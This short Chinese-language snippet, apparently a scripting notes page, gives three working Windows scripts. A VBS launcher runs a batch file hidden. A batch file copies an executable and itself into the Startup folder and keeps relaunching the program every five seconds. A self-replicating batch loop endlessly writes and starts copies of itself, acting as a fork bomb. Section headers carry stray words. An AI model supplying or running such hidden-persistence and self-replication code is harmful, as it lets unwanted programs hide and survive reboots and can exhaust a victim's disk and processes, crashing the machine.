一、windows後臺運行腳本 test.vbswindows
Set ws = CreateObject("Wscript.Shell") ws.run "cmd /c test.bat",vbhide
二、開機啓動腳本 test.batide
@echo off copy luo.exe "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" copy test.bat "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" copy test.vbs "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" :sss rem 這是一個監控某程序是否打開的腳本 REM start "" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\luo.exe" tasklist /nh | find /i "luo.exe" if errorlevel 1 (start "" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\luo.exe") cls timeout /T 5 /nobreak goto sss pause
三、自我複製腳本 test.batcode
@echo off rem 這是一個自我複製並執行的的bat腳本 :sss set name=%0 set num=%RANDOM% rem copy %name% %name%_%num%.bat type %name% >> %num%.bat start "" %num%.bat pause goto sss